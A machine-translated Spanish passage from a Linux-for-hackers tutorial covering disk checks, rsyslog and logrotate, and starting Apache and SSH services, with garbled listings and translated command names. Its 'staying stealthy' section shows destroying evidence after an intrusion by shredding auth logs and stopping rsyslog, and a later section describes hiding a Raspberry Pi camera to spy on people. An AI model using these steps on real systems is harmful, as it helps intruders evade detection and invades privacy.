sistema (en este caso, sda). Si desea verificar una unidad diferente, simplemente
siga el comando df con la representación de la unidad que desea verificar
(por ejemplo, df sdb).

tiempos >df
Sistema de 1K-Bloques Usado Uso disponible% Montado en
archivos rootfs 19620732 17096196 1504788 92% /
udev --snip-- 10240 0 10240 0% /desarrollo

/dev/sdb1 29823024 29712544 110480 99% /medios/USB3.0

Listado 10-4: Obtener información sobre discos y dispositivos montados con df

La primera línea de salida aquí muestra encabezados de categoría, y luego


obtener la información El espacio en disco se da en bloques de 1 KB. Sobre el
segunda línea, vemos que rootfs tiene 19,620,732 bloques de un kilobyte, de
que está utilizando 17.096.196 (o alrededor del 92 por ciento), dejando 1.504.788
disponible. El comando df también nos dice que este sistema de archivos está montado
en la parte superior del sistema de archivos /.

En la última línea, puede ver mi unidad flash USB. Tenga en cuenta que es
designado /dev/sdb1, está casi lleno al 100 por ciento y está montado en
/media/USB3.0.

Como resumen, mi disco virtual en este sistema se designa como sda1, que
se descompone de la siguiente manera:
Machine Translated by Google

disco duro sd sata

un primer disco duro

1 Primera partición en esa unidad

Mi unidad flash de 64 GB está designada como sdb1 y mi unidad externa como sdc1.

Comprobación de errores El

comando fsck (abreviatura de comprobación del sistema de archivos) comprueba el sistema de


archivos en busca de errores y repara el daño, si es posible, o coloca el área defectuosa en una
tabla de bloques defectuosos para marcarla como defectuosa. Para ejecutar el comando fsck ,
debe especificar el tipo de sistema de archivos (el valor predeterminado es ext2) y el archivo del
dispositivo para verificar. Es importante tener en cuenta que debe desmontar la unidad antes de
ejecutar una verificación del sistema de archivos. Si no logra desmontar el dispositivo montado,
recibirá el mensaje de error que se muestra en el Listado 10-5.

kali >fsck
fsck de util-linux 2.20.1 e2fsck
1.42.5 (29 de julio de 2012) /
dev/sda1 está montado e2fsck:
No se puede continuar, abortando.

Listado 10-5: Intentando (y fallando) ejecutar una verificación de errores en una unidad montada

Entonces, el primer paso al realizar una verificación del sistema de archivos es desmontar el
dispositivo. En este caso, desmontaré mi unidad flash para realizar una verificación del sistema de
archivos:

kali >umount /dev/sdb1

Puedo agregar la opción -p para que fsck repare automáticamente cualquier problema con el
dispositivo, así:

kali >fsck -p /dev/sdb1

Con el dispositivo desmontado, ahora puedo verificar si hay sectores defectuosos u otros
problemas con el dispositivo, de la siguiente manera:
Machine Translated by Google

kali >fsck -p /dev/sdb1 fsck de util-


linux 2.30.2 exfatfsck 1.2.7 Comprobación
del sistema de archivos en /dev/sdb1.

Sistema de archivos versión 1.0 Tamaño del sector


512 bytes Tamaño del clúster 32 KB Tamaño del
volumen 7648
MB Espacio utilizado 1265 MB Espacio disponible
MB 6383
Totalmente 20 directorios y 111 archivos.

Comprobación del sistema de archivos finalizada. No se encontraron errores.

Resumen

Comprender cómo Linux designa y administra sus dispositivos es crucial para cualquier
usuario de Linux y pirata informático. Los piratas informáticos necesitarán saber qué
dispositivos están conectados a un sistema y cuánto espacio hay disponible. Debido a que
los dispositivos de almacenamiento a menudo desarrollan errores, podemos verificar y
reparar esos errores con fsck. El comando dd es capaz de hacer una copia física de un
dispositivo, incluidos los archivos eliminados.

EJERCICIOS

Antes de pasar al Capítulo 11, pruebe las habilidades que aprendió en este capítulo completando los siguientes ejercicios:

1. Utilice los comandos de montaje y desmontaje para montar y desmontar su unidad flash .

2. Compruebe la cantidad de espacio libre en disco en su disco duro principal.

3. Compruebe si hay errores en su unidad flash con fsck.

4. Use el comando dd para copiar todo el contenido de una unidad flash a otra,
incluidos los archivos eliminados.

5. Use el comando lsblk para determinar las características básicas de sus dispositivos de bloque.
Machine Translated by Google

11
EL SISTEMA DE REGISTRO

Para cualquier usuario de Linux, es fundamental tener conocimientos sobre el uso de


los archivos de registro. Los archivos de registro almacenan información sobre los
eventos que ocurren cuando se ejecutan el sistema operativo y las aplicaciones,
incluidos los errores y las alertas de seguridad. Su sistema registrará información
automáticamente en base a la serie de reglas que le mostraré cómo configurar en este capítulo.
Como hacker, los archivos de registro pueden ser un rastro de las actividades y la
identidad de su objetivo. Pero también puede ser un rastro de sus propias actividades
en el sistema de otra persona. Por lo tanto, un pirata informático necesita saber qué
información puede recopilar, así como qué se puede recopilar sobre sus propias
acciones y métodos para ocultar esa evidencia.

Por otro lado, cualquier persona que proteja los sistemas Linux necesita saber
cómo administrar las funciones de registro para determinar si un sistema ha sido
atacado y luego descifrar qué sucedió realmente y quién lo hizo.

Este capítulo le muestra cómo examinar y configurar los archivos de registro, así
como también cómo eliminar la evidencia de su actividad e incluso deshabilitar el
registro por completo. Primero, veremos el demonio que realiza el registro.

El demonio de registro rsyslog


Machine Translated by Google

Linux usa un demonio llamado syslogd para registrar automáticamente eventos


en su computadora. Varias variaciones de syslog, incluidos rsyslog y syslog-ng,
se utilizan en diferentes distribuciones de Linux y, aunque funcionan de manera
muy similar, existen algunas diferencias menores. Dado que Kali Linux se basa en
Debian, y Debian viene con rsyslog de forma predeterminada, nos centraremos
en esa utilidad en este capítulo. Si desea utilizar otras distribuciones, vale la pena
investigar un poco sobre sus sistemas de registro.
Echemos un vistazo a rsyslog en su sistema. Buscaremos todos los archivos
relacionados con rsyslog. Primero, abra una terminal en Kali e ingrese lo siguiente:

kali > localice rsyslog /


etc/rsyslog.conf /etc/
rsyslog.d /etc/default/
rsyslog /etc/init.d/
rsyslog /etc/logcheck/
ignore.d.server/rsyslog /etc/logrotate.d/
rsyslog /etc/rc0.d/K04rsyslog --snip--

Como puede ver, numerosos archivos contienen la palabra clave rsyslog,


algunos de los cuales son más útiles que otros. El que queremos examinar es el
archivo de configuración rsyslog.conf.

El archivo de configuración de rsyslog Como

casi todas las aplicaciones en Linux, rsyslog es administrado y configurado por


un archivo de configuración de texto sin formato ubicado, como suele ser el caso
en Linux, en el directorio /etc. En el caso de rsyslog, el archivo de configuración
se encuentra en /etc/rsyslog.conf. Abra ese archivo con cualquier editor de texto y
exploraremos lo que hay dentro (aquí, uso Leafpad):

kali >leafpad /etc/rsyslog.conf

Debería ver algo como el Listado 11-1.

/etc/rsyslog.conf Archivo de configuración para rsyslog.

# Para obtener más


información, consulte # /usr/share/doc/rsyslog-doc/html/rsyslog_conf.html

#################
Machine Translated by Google

#### MÓDULOS ####


#################

module(load="imuxsock") # brinda soporte para el registro del sistema local


module(load="imklog") # brinda soporte para el registro del kernel
#module(load="immark") # brinda capacidad de mensajes --MARK--

# proporciona recepción de syslog


UDP #module(load="imudp")
#input(type="imudp" port="514")

# proporciona recepción de syslog


TCP #module(load="imtcp")
#input(type="imtcp" port="514")

##########################
#### DIRECTIVAS GLOBALES
#### #########################

Listado 11-1: una instantánea del archivo rsyslog.conf

Como puede ver, el archivo rsyslog.conf viene bien documentado con


numerosos comentarios que explican su uso. Gran parte de esta información no
le será útil en este momento, pero si navega hasta la línea 50, encontrará la
sección Reglas . Aquí es donde puede establecer las reglas para lo que su
sistema Linux registrará automáticamente por usted.

Las reglas de registro de rsyslog


Las reglas de rsyslog determinan qué tipo de información se registra, qué
programas tienen sus mensajes registrados y dónde se almacena ese registro.
Como pirata informático, esto le permite averiguar qué se está registrando y
dónde se escriben esos registros para que pueda eliminarlos u ocultarlos.
Desplácese hasta la línea 50 y debería ver algo como el Listado 11-2.

##############
#### REGLAS
####
##############
# # Primero algunos archivos de registro estándar. Registro
por establecimiento. # auth,authpriv.* *.*;auth,authpriv.none
#cron.* daemon.* kern.* 1pr.* mail.*/var/log/auth.log - /
var/log/syslog /var/
log/cron.log - /var/
log/daemon.log - /var/
log/kern.log - /var/log/
lpr.log - /var/log/mail.log
Machine Translated by Google

usuario.* -/var/log/usuario.log

# # Registro para el sistema de correo. Divídalo para que # sea


fácil escribir scripts para analizar estos archivos. # mail.info
mail.warn mail.err
- /var/log/mail.info - /var/
log/mail.warn/var/log/
mail.err

Listado 11-2: Encontrar las reglas de registro en rsyslog.conf

Cada línea es una regla de registro separada que dice qué mensajes se registran y
dónde se registran. El formato básico de estas reglas es el siguiente:

instalación.prioridad acción

La palabra clave de instalación hace referencia al programa, como correo, kernel


o lpr, cuyos mensajes se registran. La palabra clave de prioridad determina qué tipo
de mensajes registrar para ese programa. La palabra clave de acción , en el extremo
derecho, hace referencia a la ubicación donde se enviará el registro. Veamos cada
sección más de cerca, comenzando con la palabra clave de instalación , que se refiere
a cualquier software que esté generando el registro, ya sea el kernel, el sistema de
correo o el usuario.
La siguiente es una lista de códigos válidos que se pueden usar en lugar del
palabra clave de instalación en nuestras reglas de archivo de configuración:

auth/authpriv Mensajes de seguridad/autorización

Demonios del reloj cron

demonio Otros demonios

kern Mensajes del núcleo lpr

Sistema de impresión correo

Correo usuario del sistema

Mensajes genéricos a nivel de usuario

Un asterisco comodín (*) en lugar de una palabra se refiere a todas las instalaciones.
Puede seleccionar más de una instalación enumerándolas separadas por una coma.
Machine Translated by Google

La prioridad le dice al sistema qué tipo de mensajes registrar. Los códigos se enumeran desde la
prioridad más baja, comenzando con la depuración, hasta la prioridad más alta y terminando con
pánico. Si la prioridad es *, se registran los mensajes de todas las prioridades. Cuando especifica una
prioridad, se registran los mensajes de esa prioridad y superior. Por ejemplo, si especifica un código de
prioridad de alerta, el sistema registrará los mensajes clasificados como alerta y de mayor prioridad,
pero no registrará los mensajes marcados como críticos o cualquier prioridad inferior a la alerta.

Aquí está la lista completa de códigos válidos para la prioridad:

depurar

información

aviso

advertencia

advertir

error

errar

crítico

alerta

emerg

pánico

Los códigos de advertencia, advertencia , error, err, emergencia y pánico han quedado obsoletos y no deben utilizarse.

La acción suele ser un nombre de archivo y una ubicación donde se deben enviar los registros.
Tenga en cuenta que, por lo general, los archivos de registro se envían al directorio /var/log con un
nombre de archivo que describe la instalación que los generó, como auth.
Esto significa, por ejemplo, que los registros generados por la función de autenticación se enviarían a /
var/log.auth.log.

Veamos algunos ejemplos de reglas de registro:

correo.*/var/log/correo

Este ejemplo registrará los eventos de correo de todas las (*) prioridades en /var/log/mail.

kern.crit/var/log/kernel
Machine Translated by Google

Este ejemplo registrará eventos del kernel de prioridad crítica (crítica) o


superior a /var/log/kernel.

*.emerg *

Este último ejemplo registrará todos los eventos de prioridad de emergencia (emerg) para
todos los usuarios que iniciaron sesión. Con estas reglas, el pirata informático puede determinar
dónde se encuentran los archivos de registro, cambiar las prioridades o incluso deshabilitar
reglas de registro específicas.

Limpieza automática de registros con logrotate Los archivos de registro ocupan

espacio, por lo que si no los elimina periódicamente, eventualmente llenarán todo su disco
duro. Por otro lado, si elimina sus archivos de registro con demasiada frecuencia, no tendrá
registros para investigar en algún momento futuro. Puede usar logrotate para determinar el
equilibrio entre estos requisitos opuestos rotando sus registros.

La rotación de registros es el proceso de archivar regularmente archivos de registro


moviéndolos a otra ubicación, dejándolo con un archivo de registro nuevo. Esa ubicación
archivada se limpiará después de un período de tiempo específico.

Su sistema ya está rotando archivos de registro usando un trabajo cron que emplea la
utilidad logrotate . Puede configurar la utilidad logrotate para elegir la regularidad de la
rotación de registros con el archivo de texto /etc/logrotate.conf. Abramos con un editor de texto
y echemos un vistazo:

kali >leafpad /etc/logrotate.conf

Debería ver algo como el Listado 11-3.

# ver "man logrotate" para más detalles # rotar


los archivos de registro semanalmente ÿ
semanalmente

# mantener 4 semanas de trabajo


atrasado ÿ rotar 4

ÿ # crear nuevos archivos de registro (vacíos) después de rotar los antiguos


Machine Translated by Google

crear

ÿ # descomente esto si desea comprimir sus archivos de registro


#comprimir

# paquetes sueltan información de rotación de registros en este directorio


incluyen /etc/logrotate.d

# ningún paquete posee wtmp o btmp -- los rotaremos aquí /var/log/


wtmp { faltanteok mensual crear 0664 raíz utmp rotar 1

Listado 11-3: El archivo de configuración logrotate

Primero, puede configurar la unidad de tiempo a la que se refieren sus números de rotación ÿ.
El valor predeterminado aquí es semanal, lo que significa que cualquier número después de la palabra clave
rotar siempre se refiere a semanas.

Más abajo, puede ver la configuración de la frecuencia con la que rotar los registros: la configuración

predeterminada es rotar los registros cada cuatro semanas ÿ. Esta configuración predeterminada funcionará
para la mayoría de las personas, pero si desea mantener sus registros por más tiempo para fines de
investigación o más breves para borrarlos más rápido, esta es la configuración que debe cambiar. Por ejemplo,
si revisa sus archivos de registro todas las semanas y desea ahorrar espacio de almacenamiento, puede
cambiar esta configuración para rotar 1. Si tiene mucho espacio de almacenamiento para sus registros y
desea mantener un registro semipermanente para un análisis forense posterior, puede cambiar esta
configuración para rotar 26 para conservar sus registros durante seis meses o rotar 52 para conservarlos
durante un año.

De forma predeterminada, se crea un nuevo archivo de registro vacío cuando se rotan los antiguos ÿ.

Como aconsejan los comentarios en el archivo de configuración, también puede optar por comprimir sus

archivos de registro rotados ÿ.

Al final de cada período de rotación, se cambia el nombre de los archivos de registro y se empujan hacia
el final de la cadena de registros a medida que se crea un nuevo archivo de registro, que reemplaza al archivo
de registro actual. Por ejemplo, /var/log.auth se convertirá en /var/log.auth.1, luego en /var/log.auth.2, y así
sucesivamente. Si rota los registros cada cuatro semanas y mantiene cuatro conjuntos de copias de seguridad,
tendrá /var/log.auth.4, pero no /var/log.auth.5, lo que significa que se eliminará /var/log.auth.4
Machine Translated by Google

en lugar de ser empujado a /var/log/auth.5. Puede ver esto usando el comando de


localización para buscar archivos de registro /var/log/auth.log con un comodín, como se
muestra aquí:

kali > localice /var/log/auth.log.* /var/


log/auth.log.1 /var/log/auth.log.2 /
var/log/auth.log.3 /var/log/auth.
registro.4

Para obtener más detalles sobre las muchas formas de personalizar y usar la utilidad
logrotate , consulte la página man logrotate . Este es un excelente recurso para aprender
sobre las funciones que puede usar y las variables que puede cambiar para personalizar
cómo se manejan sus registros. Una vez que se familiarice con Linux, tendrá una mejor idea
de la frecuencia con la que necesita iniciar sesión y las opciones que prefiere, por lo que vale
la pena volver a visitar el archivo logrotate.conf.

permanecer sigiloso
Una vez que haya comprometido un sistema Linux, es útil deshabilitar el registro y eliminar
cualquier evidencia de su intrusión en los archivos de registro para reducir las posibilidades
de detección. Hay muchas maneras de hacer esto, y cada una conlleva sus propios riesgos
y nivel de confiabilidad.

Eliminación de pruebas En primer

lugar, querrá eliminar todos los registros de su actividad. Simplemente puede abrir los
archivos de registro y eliminar con precisión cualquier registro que detalle su actividad,
línea por línea, utilizando las técnicas de eliminación de archivos que aprendió en el Capítulo 2.
Sin embargo, esto podría llevar mucho tiempo y dejar intervalos de tiempo en los archivos de
registro, lo que parecería sospechoso. Además, los archivos eliminados generalmente
pueden ser recuperados por un investigador forense experto.
Una solución mejor y más segura es triturar los archivos de registro. Con otros sistemas
de eliminación de archivos, un investigador experto aún puede recuperar los archivos
eliminados, pero supongamos que hay una manera de eliminar el archivo y sobrescribirlo
varias veces, lo que hace que sea mucho más difícil de recuperar. Por suerte para
Machine Translated by Google

Para nosotros, Linux tiene un comando incorporado, apropiadamente llamado shred, solo
para este propósito.
Para comprender cómo funciona el comando triturar , eche un vistazo rápido a la pantalla
de ayuda ingresando el siguiente comando:

kali >triturar --ayuda


Uso: triturar [OPCIÓN]...ARCHIVO...
Sobrescriba el(los) ARCHIVO(s) especificado(s) repetidamente para que sea más difícil
recuperar los datos incluso con un sondeo de hardware muy costoso --recorte--

Como puede ver en la salida completa en su pantalla, el comando triturar tiene muchas
opciones. En su forma más básica, la sintaxis es simple:

triturar <ARCHIVO>

Por sí solo, shred eliminará el archivo y lo sobrescribirá varias veces; de forma


predeterminada, shred sobrescribe cuatro veces. Por lo general, cuantas más veces se
sobrescribe el archivo, más difícil es recuperarlo, pero tenga en cuenta que cada sobrescritura
lleva tiempo, por lo que, en el caso de archivos muy grandes, la trituración puede llevar
mucho tiempo.
Dos opciones útiles para incluir son la opción -f , que cambia los permisos de los archivos
para permitir la sobrescritura si es necesario un cambio de permiso, y la opción -n , que le
permite elegir cuántas veces sobrescribir los archivos. Como ejemplo, destruiremos los
archivos de registro en /var/log/auth.log 10 veces usando el siguiente comando:

kali >triturar -f -n 10 /var/log/auth.log.*

Necesitamos la opción –f para darnos permiso para triturar archivos de autenticación ,


y seguimos la opción –n con el número deseado de veces para sobrescribir.
Después de la ruta del archivo que queremos triturar, incluimos el asterisco comodín para
que no solo destruyamos el archivo auth.log, sino también cualquier registro que se haya
creado con logrotate, como auth.log.1, auth. log.2, y
pronto.

Ahora intente abrir un archivo de registro:

kali > hoja de hoja /var/log/auth.log.1


Machine Translated by Google

Una vez que haya triturado un archivo, verá que el contenido es un galimatías
indescifrable, como se muestra en la Figura 11-1.

Figura 11-1: Un archivo de registro triturado

Ahora bien, si el ingeniero de seguridad o el investigador forense examina los


archivos de registro, ¡no encontrarán nada útil porque nada es recuperable!

Deshabilitar el registro
Otra opción para cubrir sus huellas es simplemente deshabilitar el registro.
Cuando un pirata informático toma el control de un sistema, puede desactivar
inmediatamente el registro para evitar que el sistema realice un seguimiento de sus
actividades. Esto, por supuesto, requiere privilegios de root.
Para deshabilitar todos los registros, el hacker podría simplemente detener el
demonio rsyslog . Detener cualquier servicio en Linux usa la misma sintaxis, que
se muestra aquí (verá más sobre esto en el Capítulo 12):

servicio nombreservicio iniciar|detener|reiniciar

Entonces, para detener el demonio de registro, simplemente puede ingresar el


siguiente comando:

kali > parada de rsyslog del servicio

¡Ahora Linux dejará de generar archivos de registro hasta que se reinicie el


servicio, lo que le permitirá operar sin dejar ninguna evidencia en los archivos de
registro!

Los archivos

de registro de resumen rastrean casi todo lo que sucede en su sistema Linux.


Pueden ser un recurso invaluable para tratar de analizar lo que ha
Machine Translated by Google

ocurrido, ya sea un mal funcionamiento o un hack. Para el hacker, los archivos de registro
pueden ser evidencia de sus actividades e identidad. Sin embargo, un pirata informático
astuto puede eliminar y triturar estos archivos y deshabilitar el registro por completo, sin
dejar evidencia.

EJERCICIOS

Antes de pasar al Capítulo 12, pruebe las habilidades que aprendió en este capítulo completando los siguientes ejercicios:

1. Use el comando de localización para encontrar todos los archivos rsyslog .

2. Abra el archivo rsyslog.conf y cambie la rotación de registros a una semana.

3. Deshabilite el inicio de sesión en su sistema. Investigue lo que se registra en el archivo /var/log/syslog cuando
deshabilite el registro.

4. Use el comando shred para triturar y eliminar todos sus archivos de registro de kern .
Machine Translated by Google

12
USO Y ABUSO DE SERVICIOS

En la terminología de Linux, un servicio es una aplicación que se ejecuta en


segundo plano esperando que la uses. Su sistema Linux tiene docenas de
servicios preinstalados. De estos, el más conocido es el omnipresente servidor
web Apache, que se usa para crear, administrar e implementar servidores web,
pero hay muchos más. Para los propósitos de este capítulo sobre servicios, he
seleccionado solo cuatro que son de particular importancia para el hacker:
Apache Web Server, OpenSSH, MySQL y PostgreSQL.

En este capítulo, aprenderá cómo configurar un servidor web con Apache,


espiar físicamente con OpenSSH, acceder a datos con MySQL y almacenar su
información de piratería con PostgreSQL.

Inicio, detención y reinicio de servicios Antes de comenzar a

trabajar con estos cuatro servicios cruciales, empecemos examinando cómo


iniciar, detener y reiniciar servicios en Linux.
Algunos servicios se pueden detener e iniciar a través de la GUI en Kali
Linux, como lo haría en un sistema operativo como Windows o Mac.
Sin embargo, algunos servicios requieren el uso de la línea de comando, que
veremos aquí. Esta es la sintaxis básica para administrar servicios:
Machine Translated by Google

servicio nombreservicio iniciar|detener|reiniciar

Para iniciar el servicio apache2 (servidor web o servicio HTTP), debe ingresar lo
siguiente:

kali > inicio del servicio apache2

Para detener el servidor web Apache, ingrese:

kali > parada de servicio apache2

Por lo general, cuando realiza un cambio de configuración en una aplicación o


servicio modificando su archivo de configuración de texto sin formato, debe reiniciar el
servicio para capturar la nueva configuración. Por lo tanto, ingresaría lo siguiente:

veces > servicio apache2 reiniciar

Ahora que comprende cómo iniciar, detener y reiniciar servicios desde la línea de
comandos, pasemos a los cuatro servicios de Linux más importantes para los piratas
informáticos.

Creación de un servidor web HTTP con Apache Web


Servidor
El servidor web Apache es probablemente el servicio más utilizado en los sistemas Linux.
Apache se encuentra en más del 60 por ciento de los servidores web del mundo, por lo
que cualquier administrador de Linux que se precie debería estar familiarizado con él.
Como hacker que aspira a piratear sitios web, es fundamental comprender el
funcionamiento interno de Apache, los sitios web y las bases de datos de back-end de
estos sitios. También puede usar Apache para configurar su propio servidor web, desde
el cual podría enviar malware a través de secuencias de comandos entre sitios (XSS) a
cualquier persona que visite su sitio, o podría clonar un sitio web y redirigir el tráfico a su
sitio a través del abuso de el Sistema de Nombres de Dominio (DNS). En cualquiera de
estos casos, se requiere un conocimiento básico de Apache.
Machine Translated by Google

Comenzando con Apache


Si tiene Kali ejecutándose en su sistema, Apache ya está instalado.
Muchas otras distribuciones de Linux también lo tienen instalado de forma
predeterminada. Si no tiene Apache instalado, puede descargarlo e instalarlo
desde los repositorios ingresando lo siguiente:

kali >apt-get install apache2

El servidor web Apache a menudo se asocia con la base de datos MySQL


(que veremos en la siguiente sección) y estos dos servicios a menudo se
combinan con un lenguaje de secuencias de comandos como Perl o PHP para
desarrollar aplicaciones web. Esta combinación de Linux, Apache, MySQL y
PHP o Perl forma una plataforma potente y robusta para el desarrollo y la
implementación de aplicaciones basadas en web, conocidas colectivamente
como LAMP. Estas son las herramientas más utilizadas para desarrollar sitios
web en el mundo de Linux, y también son muy populares en el mundo de
Microsoft, donde generalmente se las conoce como WAMP, con la W de
Windows.
El primer paso, por supuesto, es iniciar nuestro demonio Apache. En Kali,
vaya a Aplicaciones ÿ Servicios ÿ HTTPD y haga clic en Inicio de Apache.
Puede lograr lo mismo desde la línea de comando ingresando lo siguiente:

kali >servicios apache2 inicio

Ahora que Apache se está ejecutando, debería poder ofrecer su página


web predeterminada. Ingrese http://localhost/ en su navegador web favorito
para abrir la página web, que debería parecerse a la Figura 12-1.
Machine Translated by Google

Figura 12-1: La página predeterminada del servidor web Apache2

Como puede ver, Apache muestra "Funciona" como su página web predeterminada.
Ahora que sabe que su servidor web Apache está funcionando, ¡vamos a personalizarlo!

Edición del archivo index.html


La página web predeterminada de Apache está en /var/www/html/index.html. Puede
editar el archivo index.html para mostrar la información que desee, así que creemos el
nuestro. Para ello, puede utilizar cualquier editor de texto que desee; Usaré Leafpad.
Abra /var/www/html/index.html y debería ver algo como el Listado 12-1.

<!DOCTYPE html PÚBLICO "-//W3C//DTD XHTML 1.0 Transicional//EN" "http://


www.w3.org/TR/xhtm11/DTD/xhtm11-transiti <html xmlns="http://www .w3.org/1999/
xhtml> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"
I> ÿ <title>Apache2 Debian Default Page: Funciona< /título> <tipo de estilo="texto/
css" media="pantalla"> * { margen: Opx Opx Opx Opx; relleno: Opx Opx Opx Opx; } cuerpo,
html { relleno: 3px 3px 3px 3px; color de fondo: #D8DBE2; familia tipográfica: Verdana, sans-serif;
tamaño de fuente: 11pt; alineación de texto: centro; } div.página_principal {
Machine Translated by Google

posición: relativa;
pantalla: mesa;

Listado 12-1: El archivo index.html del Servidor Web Apache

Tenga en cuenta aquí que la página web predeterminada tiene exactamente el texto que se
mostró cuando abrimos nuestro navegador en localhost, pero en formato HTML ÿ. Todo lo que
tenemos que hacer es editar o reemplazar este archivo para que nuestro servidor web muestre
la información que queremos.

Agregar algo de HTML


Ahora que tenemos el servidor web en funcionamiento y el archivo index.html abierto, podemos
agregar cualquier texto que nos gustaría que el servidor web sirviera. Crearemos algunos
bloques HTML simples.
Vamos a crear esta página. En un nuevo archivo en su editor de texto, ingrese el código
se muestra en el Listado 12-2.

<html>
<cuerpo>

<h1>¡Hackers-Arise es lo mejor! </h1>

<p> Si quieres aprender a hackear, Hackers-Arise.com </p> <p> es el mejor


lugar para aprender a hackear.</p>

</cuerpo>
</html>

Listado 12-2: Algo de HTML simple para agregar al archivo index.html

Una vez que haya ingresado el texto exactamente como aparece en el Listado 12-2, guarde
este archivo como /var/www/html/index.html y cierre su editor de texto.
Su editor de texto le indicará que el archivo ya existe. Esta bien. Simplemente sobrescriba el
archivo /var/www/html/index.html existente.

Ver lo que sucede Después de haber

guardado nuestro archivo /var/www/html/index.html, podemos verificar para ver qué servirá
Apache. Navegue su navegador una vez más a http://localhost, y debería ver algo como la Figura
12-2.
Machine Translated by Google

Figura 12-2: Nuevo sitio web Hackers-Arise

¡Apache ha servido nuestra página web tal como la creamos!

OpenSSH y Raspberry Spy Pi SSH es un acrónimo

de Secure Shell y es básicamente lo que nos permite conectarnos de forma


segura a un terminal en un sistema remoto, un reemplazo para el telnet
inseguro que era tan común hace años. Cuando construimos un servidor
web, SSH nos permite crear una lista de acceso (una lista de usuarios que
pueden usar este servicio), autenticar a los usuarios con contraseñas
encriptadas y encriptar todas las comunicaciones. Esto reduce la posibilidad
de que usuarios no deseados utilicen el terminal remoto (debido al proceso
de autenticación adicional) o intercepten nuestra comunicación (debido al
cifrado). Probablemente, el servicio SSH de Linux más utilizado sea OpenSSH,
que está instalado en casi todas las distribuciones de Linux, incluida Kali.
Los administradores de sistemas a menudo usan SSH para administrar sistemas
remotos, y los piratas informáticos a menudo usan SSH para conectarse a sistemas
remotos comprometidos, por lo que haremos lo mismo aquí. En este ejemplo, usamos
SSH para configurar un sistema Raspberry Pi remoto para espiar, algo que llamo
"Raspberry Spy Pi". Para esto, necesitará una Raspberry Pi y el módulo de cámara
Raspberry Pi correspondiente.

Sin embargo, antes de hacer eso, inicie OpenSSH en su sistema Kali con el
comando ahora familiar:

kali >inicio ssh del servicio


Machine Translated by Google

Usaremos SSH para construir y controlar una Raspberry Pi de espionaje remoto. Si aún
no está familiarizado con ella, la Raspberry Pi es una computadora pequeña pero poderosa,
del tamaño de una tarjeta de crédito, que funciona muy bien como una herramienta de
espionaje remoto. Emplearemos una Raspberry Pi con un módulo de cámara para usar
como dispositivo de espionaje remoto. Puede comprar una Raspberry Pi en casi cualquier
minorista de productos electrónicos, incluido Amazon, por menos de $ 50, y puede obtener
el módulo de la cámara por alrededor de $ 15.
Aquí, usaremos Raspberry Spy Pi en la misma red que nuestro sistema Kali, lo que nos
permite usar direcciones IP privadas e internas. Por supuesto, al piratear en el mundo real,
probablemente querrá configurarlo en otra red remota, pero eso sería un poco más difícil y
estaría más allá del alcance de este libro.

Configuración de Raspberry Pi Asegúrese de

que su Raspberry Pi esté ejecutando el sistema operativo Raspbian; esta es simplemente


otra distribución de Linux adaptada específicamente para la CPU Raspberry Pi. Puede
encontrar las instrucciones de descarga e instalación de Raspbian en https://
por en este libro se aplica
raspbian/. Casi todo lo que ha aprendido www.raspberrypi.org/downloads/ en
al sistema operativo Raspbian
en Raspberry Pi, así como a Kali, Ubuntu y otras distribuciones de Linux.

Una vez que haya descargado e instalado su sistema operativo Raspbian, deberá
conectar su Raspberry Pi a un monitor, mouse y teclado y luego conectarlo a Internet. Si
todo esto es nuevo para usted, consulte las instrucciones en https://www.raspberrypi.org/
learning/hardware-guide/.
Con todo configurado, inicia sesión con el nombre de usuario pi y la contraseña raspberry.

Construyendo la Raspberry Spy Pi


El primer paso es asegurarse de que SSH se esté ejecutando y habilitado en Raspberry Spy
Pi. SSH generalmente está desactivado de forma predeterminada, por lo que para habilitarlo,
vaya al menú Preferencias e inicie Configuración de Raspberry Pi. Entonces vete
Machine Translated by Google

a la pestaña Interfaces y, junto a SSH, haga clic en Habilitado (si aún no está
marcado) y haga clic en Aceptar.
Cuando SSH está habilitado, puede iniciarlo en su Raspberry Spy Pi al
abriendo una terminal e ingresando lo siguiente:

kali >inicio ssh del servicio

A continuación, debe conectar el módulo de su cámara. Si está utilizando


una placa Raspberry Pi versión 3, solo hay un lugar para conectarla.
Apague el Pi, conecte el módulo al puerto de la cámara y luego vuelva a
encenderlo. Tenga en cuenta que la cámara es muy frágil y nunca debe entrar
en contacto con los pines de entrada/salida de propósito general (GPIO); de
lo contrario, podría acortarse y morir.
Ahora, con el servicio SSH en funcionamiento, coloque la Raspberry Spy
Pi en algún lugar dentro de su hogar, escuela o algún otro lugar que desee
espiar. Por supuesto, debe estar conectado a la red de área local, ya sea por
cable Ethernet o, idealmente, a través de Wi-Fi. (La nueva Raspberry Pi 3 y
Raspberry Pi Zero tienen Wi-Fi incorporado).
Ahora, necesita obtener la dirección IP de su Raspberry Pi. Como aprendió
en el Capítulo 3, puede obtener la dirección IP de un dispositivo Linux usando
ifconfig:

pi >ifconfig

La dirección IP de mi Pi es 192.168.1.101, pero asegúrese de utilizar la


dirección IP de su Raspberry Spy Pi siempre que aparezca mi dirección en
este capítulo. Ahora, desde su sistema Kali, debería poder conectarse
directamente y controlar su Raspberry Spy Pi y usarlo como un sistema de
espionaje remoto. En este ejemplo simple, su sistema deberá estar en la
misma red que el Pi.
Para conectarse a la Raspberry Spy Pi remota a través de SSH desde su
sistema Kali, ingrese lo siguiente, recordando usar la dirección IP de su propia
Pi:

kali >ssh pi@192.168.1.101


pi@192.168.1.101 contraseña:

Los programas incluidos con el sistema Debian GNU/Linux son software libre;
Machine Translated by Google

los términos de distribución exactos para cada programa se describen en los archivos
individuales en /usr/share/doc/*/copyright.

Debian GNU/Linux viene SIN GARANTÍA EN ABSOLUTO, en la medida permitida por


la ley aplicable último inicio de sesión: martes 1 de enero 12:01:01 2018
pi@raspberyypi:: $

El Spy Pi le pedirá una contraseña. En este caso, la contraseña predeterminada es


raspberry, a menos que la hayas cambiado.

Configuración de la cámara
A continuación, tenemos que configurar la cámara. Para hacerlo, inicie la herramienta de
configuración de Raspberry Pi ingresando el siguiente comando:

pi >sudo raspi-config

Esto debería iniciar un menú gráfico como el que se muestra en la Figura 12-
3.

Figura 12-3: La herramienta de configuración de Raspberry Pi

Desplácese hacia abajo hasta 6 Habilitar cámara y presione ENTER. Ahora, desplácese
hasta la parte inferior de este menú y seleccione Finalizar y presione ENTER, como se muestra
en la Figura 12-4.
Machine Translated by Google

Figura 12-4: Terminando la configuración

Cuando la herramienta de configuración le pregunte si desea reiniciar, como se muestra en


Figura 12-5, seleccione Sí y presione ENTER nuevamente.

